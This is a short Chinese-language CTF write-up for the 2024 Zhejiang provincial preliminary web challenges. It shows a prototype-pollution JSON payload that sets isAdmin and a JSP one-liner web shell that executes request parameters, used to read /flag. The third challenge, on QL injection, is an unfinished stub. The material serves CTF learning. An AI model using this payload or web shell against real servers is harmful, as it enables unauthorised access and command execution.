2024 浙江省省赛初赛-WEB

2024 浙江省省赛初赛-WEB

easyjs

Tip

原型链污染简单应用

给了源码,提示是原型链污染漏洞

源码找不到了,先用一下队里web大师傅的

image-20241105164442279

点名了原型链污染

通过POST方法到/api/notes一段JSON信息,可以修改isAdmin属性

POST传参到/api/notes

1
2
3
4
5
6
{
	"id":"1",
	"__proto__":{
		"isAdmin":"1"
	}
}

通过创建id=1的笔记,修改其属性的isAdmin值使其为1。

这个时候id=1的isAdmin被污染

通过访问flag页面得flag

1
/api/flag?note-id=1

hack memory

Tip

内存马的使用

dirsearch直接扫一下

发现有/shell/执行命令

直接上传一句话木马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<% 
	java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd=")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    	out.println(new String(b,0,a));
    }
    out.print("</pre>");
%>

然后直接GET传参cmd来执行命令得到flag

1
/uploads/shell.jsp?cmd=cat /flag

QL_again

Tip

QL表达式注入

待更新……

作者还在学😥😥

0%